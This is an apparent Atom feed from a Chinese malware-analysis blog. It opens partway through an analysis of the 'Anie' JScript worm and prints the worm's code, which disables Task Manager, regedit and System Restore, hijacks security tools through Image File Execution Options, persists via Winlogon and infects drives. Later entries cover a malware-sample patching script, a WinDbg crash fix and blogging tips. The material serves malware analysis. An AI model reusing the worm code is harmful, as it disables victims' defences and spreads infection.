禁止用户修改文件属性 shell.RegWrite('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoFileAssociate', '1', 'REG_DWORD'); } catch (e) {} try { // 禁用注册表编辑器 shell.RegWrite('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools', '1', 'REG_DWORD'); } catch (e) {} try { // 禁用任务管理器 shell.RegWrite('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableTaskMgr', '1', 'REG_DWORD'); } catch (e) {} try { // 禁用组策略管理器 shell.RegWrite('HKCU\\Software\\Policies\\Microsoft\\MMC\\RestrictToPermittedSnapins', '1', 'REG_DWORD'); } catch (e) {} try { // 映像劫持attrib.exe,不回显信息 shell.RegWrite('HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\attrib.exe\\Debugger', 'cmd.exe /c rem'); } catch (e) {} try { // 映像劫持autoruns.exe,启动即删除 shell.RegWrite('HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\autoruns.exe\\Debugger', 'cmd.exe /c del /q /f'); } catch (e) {} try { // 映像劫持procexp.exe,启动即删除 shell.RegWrite('HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\procexp.exe\\Debugger', 'cmd.exe /c del /q /f'); } catch (e) {} try { // 映像劫持reg.exe,不回显信息 shell.RegWrite('HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\reg.exe\\Debugger', 'cmd.exe /c rem'); } catch (e) {} try { // 映像劫持RegAlyzer.exe,启动即删除 shell.RegWrite('HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\RegAlyzer.exe\\Debugger', 'cmd.exe /c del /q /f'); } catch (e) {} try { // 映像劫持taskkill.exe,不回显信息 shell.RegWrite('HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\taskkill.exe\\Debugger', 'cmd.exe /c rem'); } catch (e) {} try { // 创建自启动项 shell.RegWrite('HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit', SystemPath + '\\userinit.exe,wscript.exe //e:jscript ' + SysPath + ' /e'); } catch (e) {} try { // 隐藏文件后缀 shell.RegWrite('HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\HideFileExt\\UncheckedValue', '1', 'REG_DWORD'); } catch (e) {} try { // 强制隐藏文件 shell.RegWrite('HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\SuperHidden\\UncheckedValue', '0', 'REG_DWORD'); } catch (e) {} try { // 禁用系统还原 shell.RegWrite('HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\SystemRestore\\DisableConfig', '1', 'REG_DWORD'); } catch (e) {} try { // 禁用系统还原 shell.RegWrite('HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\SystemRestore\\DisableSR', '1', 'REG_DWORD'); } catch (e) {} } function Main() { var args = WScript.Arguments; if (GetExtensionName(ScriptPath) != 'jse' && args.length > 0) { switch (args.Item(0)) { case '/e': Install(); break; case '/r': // 隐藏和伪装自身 HideAndDisguise(); break; case '/s': // 感染驱动器 InfectDrives(); break; case '/n': // 感染网络驱动器 InfectNetworkDrives(); break; case '/t': // 自检后删除当前脚本 TestAndRepair(); shell.Run('cmd /c del /q /f ' + ScriptPath, 0); break; case '/a': // 自检后以explorer静默执行当前脚本 TestAndRepair(); shell.Run('explorer.exe /e,/select,' + ScriptPath); break; default: TestAndRepair(); try { // 播放个漂亮姑娘.avi,萌萌哒 shell.Run('wmplayer.exe "' + ScriptPath.substr(0, ScriptPath.length - 9) + 'beautiful_girl_part_' + args.Named.Item('q') + '.avi'); } catch (e) {} } } else { TestAndRepair(); TryOpenTheOriginalFile(); } } Main();</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<![CDATA[<p>Anie 是一个VBS蠕虫,命名源于其会创建一系列名为 Annie 的文件,鉴于计算机病毒命名时不应直接使用病毒样本中出现的字符串,所以将其命名为 Anie。<br>该病毒最早出现的时间为2013年,国家为印尼。</p>
<h1 id="基本信息">基本信息</h1><hr>
<blockquote>
<p>病毒名称:Worm.JS.AutoRun<br>病毒类型:蠕虫<br>样本长度:9,201 字节<br>样本md5:4d1a9f7559de521e1458021a1a7df7cf<br>文件类型:vbs<br>原文件名:Annie.sys<br>出现时间:2013-02-15<br>感染范围:Indonesia<br>感染目标:Intel 386 orlater processors and compatible processors</p>
</blockquote>]]>
</summary>
<category term="Worm" scheme="http://blog.smvirus.com/tags/Worm/"/>
<category term="病毒分析" scheme="http://blog.smvirus.com/categories/%E7%97%85%E6%AF%92%E5%88%86%E6%9E%90/"/>
</entry>
<entry>
<title><![CDATA[用Python写Patch脚本]]></title>
<link href="http://blog.smvirus.com/2014/06/19/python-script-written-with-patch/"/>
<id>http://blog.smvirus.com/2014/06/19/python-script-written-with-patch/</id>
<published>2014-06-19T09:15:35.000Z</published>
<updated>2015-10-21T17:21:42.000Z</updated>
<content type="html"><![CDATA[<p>近日对某家族样本虚拟机检测进行分析,应同事要求,写了个Python脚本用于Patch及Load该家族样本。</p>
<p>因之前没有相关经验,在编写过程中遇到一些问题,现将其整理如下。</p>
<h1 id="获取PE文件版本信息">获取PE文件版本信息</h1><hr>
<p>该家族样本需特定参数才能运行,且参数信息保存在版本信息中,故需要对样本的版本信息进行解析,进而得到运行参数。<br>Python中没有内置PE解析库,无法直接获取PE文件相关信息,经过搜索在<a href="http://stackoverflow.com/questions/580924/python-windows-file-version-attribute" target="_blank" rel="external">这里</a>发现两种方式解析文件版本信息。<br>两种方式均需要安装第三方库,分别是PyWin32及pefile库,因为我有安装PyWin32,所以选择了使用PyWin32的方式进行解析。</p>
<a id="more"></a>
<p>解析版本信息源码如下:<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> win32api</span><br><span class="line"></span><br><span class="line"><span class="comment">#==============================================================================</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">getFileProperties</span><span class="params">(fname)</span>:</span></span><br><span class="line"><span class="comment">#==============================================================================</span></span><br><span class="line"> <span class="string">"""</span><br><span class="line"> Read all properties of the given file return them as a dictionary.</span><br><span class="line"> """</span></span><br><span class="line"> propNames = (<span class="string">'Comments'</span>, <span class="string">'InternalName'</span>, <span class="string">'ProductName'</span>,</span><br><span class="line"> <span class="string">'CompanyName'</span>, <span class="string">'LegalCopyright'</span>, <span class="string">'ProductVersion'</span>,</span><br><span class="line"> <span class="string">'FileDescription'</span>, <span class="string">'LegalTrademarks'</span>, <span class="string">'PrivateBuild'</span>,</span><br><span class="line"> <span class="string">'FileVersion'</span>, <span class="string">'OriginalFilename'</span>, <span class="string">'SpecialBuild'</span>)</span><br><span class="line"></span><br><span class="line"> props = {<span class="string">'FixedFileInfo'</span>: <span class="keyword">None</span>, <span class="string">'StringFileInfo'</span>: <span class="keyword">None</span>, <span class="string">'FileVersion'</span>: <span class="keyword">None</span>}</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> <span class="comment"># backslash as parm returns dictionary of numeric info corresponding to VS_FIXEDFILEINFO struc</span></span><br><span class="line"> fixedInfo = win32api.GetFileVersionInfo(fname, <span class="string">'\\'</span>)</span><br><span class="line"> props[<span class="string">'FixedFileInfo'</span>] = fixedInfo</span><br><span class="line"> props[<span class="string">'FileVersion'</span>] = <span class="string">"%d.%d.%d.%d"</span> % (fixedInfo[<span class="string">'FileVersionMS'</span>] / <span class="number">65536</span>,</span><br><span class="line"> fixedInfo[<span class="string">'FileVersionMS'</span>] % <span class="number">65536</span>, fixedInfo[<span class="string">'FileVersionLS'</span>] / <span class="number">65536</span>,</span><br><span class="line"> fixedInfo[<span class="string">'FileVersionLS'</span>] % <span class="number">65536</span>)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># \VarFileInfo\Translation returns list of available (language, codepage)</span></span><br><span class="line"> <span class="comment"># pairs that can be used to retreive string info. We are using only the first pair.</span></span><br><span class="line"> lang, codepage = win32api.GetFileVersionInfo(fname, <span class="string">'\\VarFileInfo\\Translation'</span>)[<span class="number">0</span>]</span><br><span class="line"></span><br><span class="line"> <span class="comment"># any other must be of the form \StringfileInfo\%04X%04X\parm_name, middle</span></span><br><span class="line"> <span class="comment"># two are language/codepage pair returned from above</span></span><br><span class="line"></span><br><span class="line"> strInfo = {}</span><br><span class="line"> <span class="keyword">for</span> propName <span class="keyword">in</span> propNames:</span><br><span class="line"> strInfoPath = <span class="string">u'\\StringFileInfo\\%04X%04X\\%s'</span> % (lang, codepage, propName)</span><br><span class="line"> <span class="comment"># print str_info</span></span><br><span class="line"> strInfo[propName] = win32api.GetFileVersionInfo(fname, strInfoPath)</span><br><span class="line"></span><br><span class="line"> props[<span class="string">'StringFileInfo'</span>] = strInfo</span><br><span class="line"> <span class="keyword">except</span>:</span><br><span class="line"> <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> props</span><br></pre></td></tr></table></figure></p>
<h1 id="在Python中查找及修改特征码">在Python中查找及修改特征码</h1><hr>
<p>对于Patch文件,我的做法很简单,将要求改的代码的二进制数据提取为特征码,然后将修改后的代码作为Patch码,直接替换掉特征码即完成了Patch。但因为没找到直接替换十六进制串的方法,在查找和修改时遇到了问题。<br>后来发现可以以字符串的方式来完成替换,首先将文件以二进制方式读入,将以字符串形式保存的十六进制串按hex方式解码,完成替换,最后以二进制形式再写入即可。<br>Patch代码如下:<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#==============================================================================</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">patchFile</span><span class="params">(fin, fout)</span>:</span></span><br><span class="line"><span class="comment">#==============================================================================</span></span><br><span class="line"><span class="comment"># patch文件,fin为待patch文件,fout为patch后文件</span></span><br><span class="line"> fdata = open(fin, <span class="string">'rb'</span>).read()</span><br><span class="line"> feature = <span class="string">'0FFD000083C414E8073C000085C074416858DA47006A04'</span>.decode(<span class="string">'hex'</span>)</span><br><span class="line"> patched = <span class="string">'0FFD000083C414E8073C000085C0EB416858DA47006A04'</span>.decode(<span class="string">'hex'</span>)</span><br><span class="line"> pdata = fdata.replace(feature, patched)</span><br><span class="line"> open(fout, <span class="string">'wb'</span>).write(pdata)</span><br></pre></td></tr></table></figure></p>
<h1 id="创建临时文件并将其创建为子进程">创建临时文件并将其创建为子进程</h1><hr>
<p>对于Load文件,我的做法是先在临时目录生成一个Patched文件,然后获取到参数后创建一个进程来执行Patched文件,待执行完毕后清理临时文件。<br>因为创建临时文件后需要创建子进程,在创建进程时不可以有进程占有该文件,所以无法使用tempfile.TemporaryFile()函数和tempfile.NamedTemporaryFile()函数。<br>我使用的是tempfile.mkstmp()函数创建临时文件,但在写入完成且关闭文件后,仍无法成功创建进程,错误信息为WindowsError 32,该文件被其他进程占用。<br>搜索后发现除关闭文件外,还需调用os.close()函数,关闭文件描述符,之后可正常创建进程。<br>Loader部分代码如下:<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#==============================================================================</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">loadFile</span><span class="params">(fin)</span>:</span></span><br><span class="line"><span class="comment">#==============================================================================</span></span><br><span class="line"><span class="comment"># load程序,fin为需要load文件</span></span><br><span class="line"> fd, fout = tempfile.mkstemp(suffix=<span class="string">'.exe'</span>)</span><br><span class="line"> patchFile(fin, fout)</span><br><span class="line"> args = getCommandLine(fin)</span><br><span class="line"> os.close(fd)</span><br><span class="line"> subprocess.call(<span class="string">'%s %s'</span> % (fout, args))</span><br><span class="line"> os.remove(fout)</span><br></pre></td></tr></table></figure></p>
]]></content>
<summary type="html">
<![CDATA[<p>近日对某家族样本虚拟机检测进行分析,应同事要求,写了个Python脚本用于Patch及Load该家族样本。</p>
<p>因之前没有相关经验,在编写过程中遇到一些问题,现将其整理如下。</p>
<h1 id="获取PE文件版本信息">获取PE文件版本信息</h1><hr>
<p>该家族样本需特定参数才能运行,且参数信息保存在版本信息中,故需要对样本的版本信息进行解析,进而得到运行参数。<br>Python中没有内置PE解析库,无法直接获取PE文件相关信息,经过搜索在<a href="http://stackoverflow.com/questions/580924/python-windows-file-version-attribute">这里</a>发现两种方式解析文件版本信息。<br>两种方式均需要安装第三方库,分别是PyWin32及pefile库,因为我有安装PyWin32,所以选择了使用PyWin32的方式进行解析。</p>]]>
</summary>
<category term="Patch" scheme="http://blog.smvirus.com/tags/Patch/"/>
<category term="Python" scheme="http://blog.smvirus.com/tags/Python/"/>
<category term="软件破解" scheme="http://blog.smvirus.com/categories/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/"/>
</entry>
<entry>
<title><![CDATA[修复Win8.1 x64环境下PcxFirefox打开文件崩溃]]></title>
<link href="http://blog.smvirus.com/2014/05/06/repair-pcxfirefox-crash-in-win81-x64-environment/"/>
<id>http://blog.smvirus.com/2014/05/06/repair-pcxfirefox-crash-in-win81-x64-environment/</id>
<published>2014-05-06T11:19:46.000Z</published>
<updated>2015-10-21T17:22:05.000Z</updated>
<content type="html"><![CDATA[<p>最近在使用PcxFirefox浏览器时,发现其x64版本在Win8.1系统中一旦触发文件选择框,如下载/打开文件时,浏览器就会崩溃。</p>
<p>在网上搜索无果后,只好祭出神器Windbg查找原因。在这里对两位帮忙定位问题的同事bianfeng和KeyKernel由衷表示感谢。</p>
<h1 id="问题现象">问题现象</h1><hr>
<p><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/repair-pcxfirefox-crash-in-win81-x64-environment/crash.jpg" alt=""></p>
<a id="more"></a>
<h1 id="问题定位">问题定位</h1><hr>
<h2 id="捕获异常">捕获异常</h2><p>首先使用Windbg重新加载崩溃程序Firefox.exe,然后执行g命令执行程序并触发崩溃,Windbg捕获到如下异常<br><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/repair-pcxfirefox-crash-in-win81-x64-environment/windbg_crash.jpg" alt=""><br>得知错误代码出现在<code>00007ffa'5bbab9fd</code>,在当前地址反汇编得到如下代码<br><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/repair-pcxfirefox-crash-in-win81-x64-environment/u-rip.jpg" alt=""></p>
<h2 id="定位异常模块">定位异常模块</h2><p>查看当前出错模块路径如下<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0:000> lmf a rip start end module name 00007ffa`5b9f0000 00007ffa`5ce07000 SHELL32 C:\windows\system32\SHELL32.dll</span><br></pre></td></tr></table></figure></p>
<h2 id="分析异常代码">分析异常代码</h2><p>使用IDA Pro反汇编该模块后,发现该地址原始反汇编代码如下,与正在执行代码不同<br><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/repair-pcxfirefox-crash-in-win81-x64-environment/ida-code.jpg" alt=""><br>向前遍历发现,模块中代码从<code>00007ffa'5bbab9f0</code>处开始被覆写了14字节<br><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/repair-pcxfirefox-crash-in-win81-x64-environment/u-b9f0.jpg" alt=""><br><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/repair-pcxfirefox-crash-in-win81-x64-environment/ida-b9f0.jpg" alt=""></p>
<h2 id="确认异常原因">确认异常原因</h2><p>从上图代码可知,该地址为SHGetSpecialFolderPathW函数地址,对比代码可知,该函数被inline hook。<br>进而可以确认崩溃原因是hook过程中将<code>00007ffa'5bbab9fd</code>处一字节覆盖为0,导致cpu解释指令出错,产生异常并引起崩溃。<br>在Windbg中将其修正为48h后恢复进程执行,文件选择框正常被打开。<br><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/repair-pcxfirefox-crash-in-win81-x64-environment/fix-ok.jpg" alt=""></p>
<h2 id="定位HOOK来源">定位HOOK来源</h2><p>得知崩溃原因后,下一步开始定位是谁hook了SHGetSpecialFolderPathW函数<br>首先重新加载运行Firefox.exe,然后执行sxe ld:shell32.dll命令使调试器在加载该模块后中断程序<br>中断后对<code>00007ffa'5bbab9f0</code>处下写入断点,然后继续执行程序,发现程序被中断在如下地址<br><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/repair-pcxfirefox-crash-in-win81-x64-environment/ba-b9f0.jpg" alt=""><br>查看该地址模块路径如下<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0:000> lmf a rip start end module name 00000000`63000000 00000000`6300a000 tmemutil D:\MyTools\Tools\UserSoft\PcxFireFox\tmemutil.dll</span><br></pre></td></tr></table></figure></p>
<h2 id="分析HOOK代码">分析HOOK代码</h2><p>使用IDA Pro反汇编该模块后,发现正是该地址上下文代码hook了SHGetSpecialFolderPathW函数<br><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/repair-pcxfirefox-crash-in-win81-x64-environment/ida-hook.jpg" alt=""></p>
<p>该段代码是将hook代码写入到SHGetSpecialFolderPathW函数起始处,但因为其使用的跳转方式为</p>
<blockquote>
<p>jmp qword ptr [xxxxxxxx]</p>
</blockquote>
<p>对应Opcode为</p>
<blockquote>
<p>ff 25 00 00 00 00 xx xx xx xx xx xx xx xx</p>
</blockquote>
<p>共需14字节。<br>从前文中可知SHGetSpecialFolderPathW函数地址距离之后代码只有13字节,故使用这种跳转方式进行hook,会覆盖掉函数中的代码,进而导致异常,引起崩溃。</p>
<h1 id="解决方案">解决方案</h1><hr>
<p>因为该问题是由于temeutil模块对SHGetSpecialFolderPathW函数进行hook时使用了错误的跳转方式导致的,故考虑修改其跳转方式。<br>在64位系统下,除上述跳转方式外,还可使用如下方式进行绝对地址跳转</p>
<blockquote>
<p>mov rax,xxxxxxxx<br>jmp rax</p>
</blockquote>
<p>对应Opcode为</p>
<blockquote>
<p>48 b8 xx xx xx xx xx xx xx xx<br>ff e0</p>
</blockquote>
<p>这样仅需覆写12个字节即可完成hook,可以解决掉覆盖正常代码的问题。<br>因为没有找到可以直接patch64位程序的工具(Windbg/IDA Pro的patch功能均不支持带64位寄存器的指令),固只好在IDA Pro中进行Hex修改,然后通过WinHex保存到文件中。<br>修正后的代码如下<br><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/repair-pcxfirefox-crash-in-win81-x64-environment/fix-hook.jpg" alt=""></p>
<p>需要注意的是,在hook函数内部会首先恢复SHGetSpecialFolderPathW的代码,调用完成后会重新inline hook,故需要对恢复hook的代码进行相同的修改。</p>
<h1 id="成果展示">成果展示</h1><hr>
<p>完成上述步骤后,用修改后的dll文件替换掉原dll文件,再次测试触发文件选择框时,已可正常打开文件选择框。<br><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/repair-pcxfirefox-crash-in-win81-x64-environment/is-ok.jpg" alt=""></p>
<h1 id="修正后文件">修正后文件</h1><hr>
<p>版本:pcxFirefox-28.0-zhCN-vc2010-x64-sse2-betterpgo-140318<br>md5:7b6f5ce613e8d8c9e8b91ca4f6b6cc9039b0a6f5<br>下载:<a href="http://pan.baidu.com/s/1fCfsM" target="_blank" rel="external">temeutil.dll</a></p>
]]></content>
<summary type="html">
<![CDATA[<p>最近在使用PcxFirefox浏览器时,发现其x64版本在Win8.1系统中一旦触发文件选择框,如下载/打开文件时,浏览器就会崩溃。</p>
<p>在网上搜索无果后,只好祭出神器Windbg查找原因。在这里对两位帮忙定位问题的同事bianfeng和KeyKernel由衷表示感谢。</p>
<h1 id="问题现象">问题现象</h1><hr>
<p><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/repair-pcxfirefox-crash-in-win81-x64-environment/crash.jpg" alt=""></p>]]>
</summary>
<category term="Windbg" scheme="http://blog.smvirus.com/tags/Windbg/"/>
<category term="调试逆向" scheme="http://blog.smvirus.com/categories/%E8%B0%83%E8%AF%95%E9%80%86%E5%90%91/"/>
</entry>
<entry>
<title><![CDATA[解决Sublime Text中文字符显示为方块]]></title>
<link href="http://blog.smvirus.com/2014/04/08/solve-chinese-characters-display-as-squares-in-sublime-text/"/>
<id>http://blog.smvirus.com/2014/04/08/solve-chinese-characters-display-as-squares-in-sublime-text/</id>
<published>2014-04-08T14:38:31.000Z</published>
<updated>2015-10-21T17:15:40.000Z</updated>
<content type="html"><![CDATA[<p>在笔记本上使用Sublime Text 3,发现其标签页及命令行中的中文均显示为方块。</p>
<p>本文记录了该问题的成因及解决方案。 </p>
<h1 id="问题现象">问题现象</h1><hr>
<p><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/solove-chinese-characters-display-as-squares-in-sublime-text/squares.jpg" alt=""></p>
<h1 id="问题成因">问题成因</h1><hr>
<p>开始以为是编码问题导致的中文乱码,但是已经安装了ConvertToUTF8插件,而且编辑框内中文并未乱码,只有标签页和命令行乱码。<br>后经过搜索,发现有人提到如果修改了系统的显示缩放级别,将字体改的太大,则可能造成ST3版本的标签页放不下,进而显示成方块。<br>因为我的电脑是1920*1080的分辨率,系统默认将缩放级别调整为了125%。<br><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/solove-chinese-characters-display-as-squares-in-sublime-text/125%25.jpg" alt=""></p>
<h1 id="解决方案">解决方案</h1><hr>
<p>将缩放级别更改为100%后,在ST3中标签页及命令行已经可以正常显示中文了。<br><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/solove-chinese-characters-display-as-squares-in-sublime-text/100%25.jpg" alt=""></p>
<h1 id="成果展示">成果展示</h1><hr>
<p><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/solove-chinese-characters-display-as-squares-in-sublime-text/normal.jpg" alt=""></p>
]]></content>
<summary type="html">
<![CDATA[<p>在笔记本上使用Sublime Text 3,发现其标签页及命令行中的中文均显示为方块。</p>
<p>本文记录了该问题的成因及解决方案。 </p>
<h1 id="问题现象">问题现象</h1><hr>
<p><img src="http://7xicmh.com1.z0]]>
</summary>
<category term="问题记录" scheme="http://blog.smvirus.com/categories/%E9%97%AE%E9%A2%98%E8%AE%B0%E5%BD%95/"/>
</entry>
<entry>
<title><![CDATA[使用codeblock插入代码]]></title>
<link href="http://blog.smvirus.com/2014/04/05/use-codeblock-insert-code/"/>
<id>http://blog.smvirus.com/2014/04/05/use-codeblock-insert-code/</id>
<published>2014-04-05T09:13:45.000Z</published>
<updated>2015-10-21T17:03:16.000Z</updated>
<content type="html"><![CDATA[<p>在测试在博文中插入代码时发现,使用缩进方式插入代码,即使在Hexo的配置文件中将line_number设置为true,代码框上也不会显示行号。<br>如下边这段代码直接使用缩进方式插入:</p>
<pre><code><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span> </span>{
<span class="keyword">return</span> <span class="number">0</span>;
}
</code></pre><p>对于如我这般的强迫症患者,想要显示行号时却发现没有行号,自然是百般的不自在,后经过搜索后发现,Markdown还支持显示声明Codeblock的方式插入代码。</p>
<p>其语法如下:</p>
<pre><code><span class="comment">{% codeblock [title] [lang:language] [url] [link text] %}</span>
<span class="comment">code snippet</span>
<span class="comment">{% endcodeblock %}</span>
</code></pre><p>关于Codeblock在Markdown中使用可以参考<a href="http://hexo.io/docs/tag-plugins.html#Code_Block" target="_blank" rel="external">这里</a>。<br>使用codeblock插入的代码,在Hexo中可正常显示行号,并且可以选择编程语言,增加代码标题,链接等。<br>如下边这段代码使用codeblock方式插入:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">int main(void) { return 0; }</span><br></pre></td></tr></table></figure>
<p><strong> 参考文献: </strong></p>
<ul>
<li><a href="http://popozhu.github.io/2013/06/15/hexo%E4%BB%A3%E7%A0%81%E9%AB%98%E4%BA%AE/" target="_blank" rel="external">hexo的代码高亮</a></li>
</ul>
]]></content>
<summary type="html">
<![CDATA[<p>在测试在博文中插入代码时发现,使用缩进方式插入代码,即使在Hexo的配置文件中将line_number设置为true,代码框上也不会显示行号。<br>如下边这段代码直接使用缩进方式插入:</p>
<pre><code><span class="function"><span]]>
</summary>
<category term="Hexo" scheme="http://blog.smvirus.com/tags/Hexo/"/>
<category term="Markdown" scheme="http://blog.smvirus.com/tags/Markdown/"/>
</entry>
<entry>
<title><![CDATA[独立博客之旅]]></title>
<link href="http://blog.smvirus.com/2014/04/03/independent-blog-tour/"/>
<id>http://blog.smvirus.com/2014/04/03/independent-blog-tour/</id>
<published>2014-04-03T05:19:15.000Z</published>
<updated>2015-05-21T12:36:26.000Z</updated>
<content type="html"><![CDATA[<p>一直以来没有写博客的习惯,发现很多问题在解决之后由于没有及时记录和总结,导致再次遇到时仍然无法解决,从而陷入了死循环中。遂决心开博客写文章,记录及总结近来遇到的问题及产生的想法。</p>
<p><strong> Hexo博客配置参考: </strong></p>
<ul>
<li><a href="http://ibruce.info/2013/11/22/hexo-your-blog/" target="_blank" rel="external">hexo你的博客</a></li>
<li><a href="http://kescoode.com/2013/11/17/github-page-and-hexo-guide/" target="_blank" rel="external">Github Pages与Hexo建个人博客流程 </a></li>
</ul>
]]></content>
<summary type="html">
<![CDATA[<p>一直以来没有写博客的习惯,发现很多问题在解决之后由于没有及时记录和总结,导致再次遇到时仍然无法解决,从而陷入了死循环中。遂决心开博客写文章,记录及总结近来遇到的问题及产生的想法。</p>
<p><strong> Hexo博客配置参考: </strong></p>
<ul>
]]>
</summary>
<category term="随笔" scheme="http://blog.smvirus.com/categories/%E9%9A%8F%E7%AC%94/"/>
</entry>
</feed>